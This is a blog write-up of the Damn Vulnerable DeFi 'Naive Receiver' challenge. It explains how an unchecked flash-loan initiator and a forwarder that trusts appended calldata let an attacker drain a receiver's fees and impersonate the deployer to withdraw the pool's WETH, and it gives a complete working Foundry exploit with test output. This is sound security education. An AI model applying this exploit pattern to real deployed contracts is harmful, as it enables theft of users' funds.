Damn Vulnerable DeFi V4: Naive Receiver

Foued SAIDI Lv5

Overview

Hello everyone! Hope you are doing fantastic!

This is Foued SAIDI (0xkujen), senior pentester and a wannabe Web3/Blockhain Security Researcher.

Today I am continuing my Web3/Blockchain series by tackling the second challenge from the Damn Vulnerable DeFi series created by The Red Guild where I will be explaining in depth each challenge, my approach to solving it and my solutions.

Hope you enjoy it and learn something new!

Check the previous Damn Vulnerable DeFi challenge called Unstoppable from this blog post. Enjoy!

ā€˜Naive Receiver’ challenge

Naive Receiver
Naive Receiver

Challenge Description

There’s a pool with 1000 WETH in balance offering flash loans. It has a fixed fee of 1 WETH. The pool supports meta-transactions by integrating with a permissionless forwarder contract.

A user deployed a sample contract with 10 WETH in balance. Looks like it can execute flash loans of WETH.

All funds are at risk! Rescue all WETH from the user and the pool, and deposit it into the designated recovery account.

Link to the original challenge

Github repo link that contains challenge code and solver

Understanding the contracts

Overview

We have 4 main contracts:

NaiveReceiverPool.sol

This contract is the main pool that will be containing the FlashLoan and pool operations (Withdraw, Deposit,fees, etc.) logic.

  1. NaiveReceiverPool::flashLoan() checks if the utilized token is Wrapped ETH (weth) (which is the ERC20 implementation of ETH):
1
if (token != address(weth)) revert UnsupportedCurrency();

Then it transfers the loan amount from the receiver and deducts that from the totalDeposits available in the pool.

1
2
weth.transfer(address(receiver), amount);
totalDeposits -= amount;

Then the pool will asserts the borrower agrees to the terms of the loan by asserting that the receiver.onFlashLoan returns a CALLBACK_SUCCESS which is a hardcoded keccak256 of ERC3156FlashBorrower.onFlashLoan. This logic is implemented inside the FlashLoanReceiver.sol contract.

  1. NaiveReceiverPool::withdraw() allows any depositor to withdraw their WETH balance and send it to any receiver. It first deducts the amount from the msg sender and from the totalDeposits:
1
2
deposits[_msgSender()] -= amount;
totalDeposits -= amount;

Then transfers it to a desired receiver:

1
weth.transfer(receiver, amount);
  1. NaiveReceiverPool::_msgSender() is an implementation of the Native Meta Transactions EIP-2771 for sending meta transactions through a truster forwarder.
    Basically if the msg sender is the desired forwarder of the transaction + the msg.data on the transaction is longer or equal to 20 bytes, then the the ā€œreal senderā€ must be recovered from calldata (last 20 bytes), else it will stay as the original msg.sender:
1
2
3
4
5
if (msg.sender == trustedForwarder && msg.data.length >= 20) {
return address(bytes20(msg.data[msg.data.length - 20:]));
} else {
return super._msgSender();
}

FlashLoanReceiver.sol

Contains the onFlashLoan() method that implements the logic regarding the agreement between the lender and the borrower we mentioned earlier.
How is this even enforced?

  1. Only the pool can call it, not a malicious or randon contract.
  2. makes sure the pool address is not null by utilizing sload that loads the 32-byte value stored at the pool.slot (where the pool is stored) and then compares it to the caller() (which is the pool in this case) using assembly => switching directly to EVM.
  3. Returns 0x48f5c3ed which is the equivalent to error Unauthorized() by writing it as a 4-byte value into the 0x00 memory position using mstore() function. The memory now looks like 0x00 ── 48 f5 c3 ed.
  4. Finally reverts with the 4-byte function selector.
  5. Then it nakes sure the token is WETH
  6. Later it calculates the amount to be repaid by the borrower by adding the fees.
  7. Then it executes the action desired by the borrower using the obtained flashLoan
  8. Then it returns the funds to the pool by approving the pool to spend the amount the amount to be repaid.
  9. Finally it returns the keccak256 value of ERC3156FlashBorrower.onFlashLoan which asserts the agreement will go on as planned.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
assembly {
// gas savings
if iszero(eq(sload(pool.slot), caller())) {
mstore(0x00, 0x48f5c3ed)
revert(0x1c, 0x04)
}
}

if (token != address(NaiveReceiverPool(pool).weth())) revert NaiveReceiverPool.UnsupportedCurrency();

uint256 amountToBeRepaid;
unchecked {
amountToBeRepaid = amount + fee;
}

_executeActionDuringFlashLoan();

// Return funds to pool
WETH(payable(token)).approve(pool, amountToBeRepaid);

return keccak256("ERC3156FlashBorrower.onFlashLoan");
}

// Internal function where the funds received would be used
function _executeActionDuringFlashLoan() internal {}

BasicForwarder.sol

  1. BasicForwarder::_checkRequest() enforces all necessary security guarantees.
    First it ensures request value consistency if (request.value != msg.value) revert InvalidValue(); (ETH mismatch, partial execution), deadline respect if (block.timestamp > request.deadline) revert OldRequest(); (replay attacks in the future), that the nonce of the signed request is valid if (nonces[request.from] != request.nonce) revert InvalidNonce(); (replaying same nonced/signed request).
  • Also the target has to trust his forwarder (don’t accept from anyone.) if (IHasTrustedForwarder(request.target).trustedForwarder() != address(this)) revert InvalidTarget(); (no impresonation).
  • Finally sign the request using ECDSA. First produce a struct hash using BasicForwarder::getDataHash() where every field of the request is hashed. Then uses the EIP-712 through EIP712::_hashTypedData() which will compute the kaccak256 hash of \x19\x01 + domainSeparator + structHash.
    Why is this even important? => it will bind the signature to the contract, chain and domain/version so it cannot be replayed on another contract, chain or context.
    It then recovers the ECDSA signature r,s,v to get the address that created the signature and finally compares it to the signer address : if (signer != request.from) revert InvalidSigner();
  1. BasicForwarder::execute() is also an implementation of EIP-2771 meta-transaction forwarder which first utilizes the BasicForwarder::_checkRequest() to check the signature of the passed request, increases the nonce nonces[request.from]++; to prevent replay attacks, builds the calldata payload which will contain the request data and the sender bytes memory payload = abi.encodePacked(request.data, request.from);, then makes a low level assembly call to forward the call of our request and calculates the remaining gas. It will finally do some gas griefing protection where a call can forward at most 63/64 of the remaining gas.

Multicall.sol

Multicall::multicall() allows us to perform multiple calls in a single transaction, single signature and single nonce.
It create an empty results array that has the same length of the provided data, loops over the calls and execute a delegate call with the data using the OpenZeppelin Address::functionDelegateCall() to execute the call as if it were a part of this contract (same storage, msg.sender, msg.value). Each data[i] contains the target function selector and its’ respective arguments. And finally returns the results:

1
2
3
4
5
6
7
function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
results[i] = Address.functionDelegateCall(address(this), data[i]);
}
return results;
}

Point of Failure

In this amazing challenge, we have two huge issues:

  1. On the FlashLoanReceiver::onFlashLoan(), the parameters are organized as follows:
1
function onFlashLoan(address, address token, uint256 amount, uint256 fee, bytes calldata)

A huge issue here is that the address of the initiator is not being used/verified.

1
=> Anyone can request flashloans on behalf of the contract AND making the contract pay the fees. Instead of the caller paying the fees.

Now because the fee is fixed and independent of the loan amount, an attacker can request flash loans with amount = 0 and still drain the receiver through repeated fee payments. This will happen even when the flash loan was forced and economically meaningless.

  1. On the NaiveReceiverPool::_msgSender() method, the contract blindly trusts the last 20 bytes of calldata as the original sender whenever the call comes from trustedForwarder. There is no verification that the appended 20-byte address is truly the signer of the request.
1
2
3
4
5
6
7
function _msgSender() internal view override returns (address) {
if (msg.sender == trustedForwarder && msg.data.length >= 20) {
return address(bytes20(msg.data[msg.data.length - 20:]));
} else {
return super._msgSender();
}
}

This allows an attacker to impresonate accounts and perform a withdraw on their behalf because the _msgSender() function is called on the NaiveReceiverPool::withdraw() method:

1
2
3
4
5
6
7
8
function withdraw(uint256 amount, address payable receiver) external {
// Reduce deposits
deposits[_msgSender()] -= amount;
totalDeposits -= amount;

// Transfer ETH to designated receiver
weth.transfer(receiver, amount);
}

Exploitation

Our main goal in this challenge is to drain all WETH from the FlashLoanReceiver. We can do this by abusing the fact that the receiver blindly pays flash loan fees and that _msgSender() can be spoofed via the trusted forwarder.

Exploitation Steps

The FlashLoanReceiver starts with 10 WETH. The pool charges a fixed fee of 1 WETH per flash loan, regardless of the loan amount.

  1. Prepare multiple flash loan calls:
1
2
3
4
bytes[] memory data=new bytes[](11); // 11 because the receiver has 10 weth as a start
for (uint256 i=0;i<10;i++){
data[i]=abi.encodeWithSelector(pool.flashLoan.selector, receiver, address weth), 0, "0x");
}
  • Each flash loan costs 1 WETH fee, even if the amount is 0.
  • By repeating this 10 times, the receiver will be forced to pay all 10 WETH it holds.
  1. Append the withdraw call:
1
data[10]=abi.encodePacked(abi.encodeWithSelector(pool.withdraw.selector, WETH_IN_POOL+WETH_IN_RECEIVER,payable(recovery)),deployer);
  • The _msgSender() function in the pool reads the last 20 bytes of calldata (the deployer address).
  • This will allow us to impersonate the deployer in order to withdraw all WETH from the pool and the receiver to our recovery address (malicious).
  1. Encode the multicall using Multicall::multicall():
  • Using multicall, we forward all 11 calls in one transaction to make all the fees paid and to make the withdrawal request happen all at the same time.
1
bytes memory multicall = abi.encodeCall(pool.multicall, data);
  1. Create a forwarded request
  • We will prepare a meta-transaction using BasicForwarder where the from is the attacker address
1
2
3
4
5
6
7
8
9
BasicForwarder.Request memory req = BasicForwarder.Request({
from: player,
target: address(pool),
value: 0,
gas: gasleft(),
nonce: 0,
data: multicall,
deadline: 1337 days // 8)
});
  1. Sign the request to make it legit else it will be rejected
1
2
3
4
5
6
7
8
9
bytes32 requestHash=keccak256(
abi.encodePacked(
"\x19\x01" ,
forwarder.domainSeparator(),
forwarder.getDataHash(req)
)
);
(uint8 v, bytes32 r, bytes32 s)=vm.sign(playerPk,requestHash);
bytes memory signature=abi.encodePacked(r,s,v);

This is as explained previously for the EIP-712 standard.

  1. Now finally execute the request
1
forwarder.execute(req, signature);

The forwarder validates the signature and performs the multicall that will drain 1 WETH from the receiver 10 times. The final withdraw call moves all remaining WETH to our recovery address and BOOM exploited.

Exploit test case

The full PoC is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
function test_naiveReceiver() public checkSolvedByPlayer {
console.log("Attacker balance before:", weth.balanceOf(recovery)/1e18);
bytes[] memory data=new bytes[](11); // 11 because the receiver has 10 weth as a start
for (uint256 i=0;i<10;i++){
//e prepare the flashloan function with a null amount and address (we just need to fill it no need for actual money transfer)
// not interested in actual flash loan, we just want him to pay the fee
data[i]=abi.encodeWithSelector(pool.flashLoan.selector, receiver, address(weth), 0, "0x");
}
//e withdraw accepts amount and receiver
// "receiver" is the one that has the 1000 weth
// deployer address is the last 20 bytes of data
data[10]=abi.encodePacked(abi.encodeWithSelector(pool.withdraw.selector, WETH_IN_POOL+WETH_IN_RECEIVER,payable(recovery)),deployer);

//e encode calldata with the multicall, which allows us to forward a lot of calls together to the pool
bytes memory multicall=abi.encodeCall(pool.multicall,data);

//e create forwarded request
BasicForwarder.Request memory req = BasicForwarder.Request({
from: player,
target: address(pool),
value: 0 ,
gas: gasleft(),
nonce: 0,
data: multicall,
deadline: 1337 days
});

//e hash our request
bytes32 requestHash=keccak256(
abi.encodePacked(
"\x19\x01" ,
forwarder.domainSeparator(),
forwarder.getDataHash(req)
)
);

//e sign our request else it will fail
(uint8 v, bytes32 r, bytes32 s)=vm.sign(playerPk,requestHash);
bytes memory signature=abi.encodePacked(r,s,v);

//e execute request
forwarder.execute(req,signature);
console.log("Attacker balance after:", weth.balanceOf(recovery)/1e18);
}

The output will be:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ forge test -vv
[⠊] Compiling...
[ā ’] Compiling 1 files with Solc 0.8.25
[ā ‘] Solc 0.8.25 finished in 557.63ms
Compiler run successful!

Ran 2 tests for test/NaiveReceiver.t.sol:NaiveReceiverChallenge
[PASS] test_assertInitialState() (gas: 38526)
[PASS] test_naiveReceiver() (gas: 478330)
Logs:
Attacker balance before: 0
Attacker balance after: 1010

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 6.46ms (5.33ms CPU time)

Ran 1 test suite in 7.63ms (6.46ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

And that way, both our tests pass and the checkSolvedByPlayer() modifier that runs the _isSolved() function goes through. Marking the successful solve of the challenge.

Conclusion

That was it for Naive Receiver challenge from Damn Vulnerable DeFi series.

You can find through this github link the repository that contains my solver and all the future Damn Vulnerable DeFi solutions Inshallah!

See you next time~

  • Title: Damn Vulnerable DeFi V4: Naive Receiver
  • Author: Foued SAIDI
  • Created at : 2025-12-18 16:54:33
  • Updated at : 2025-12-19 13:52:52
  • Link: https://kujen5.github.io/2025/12/18/Damn-Vulnerable-DeFi-V4-Naive-Receiver/
  • License: This work is licensed under CC BY-NC-SA 4.0.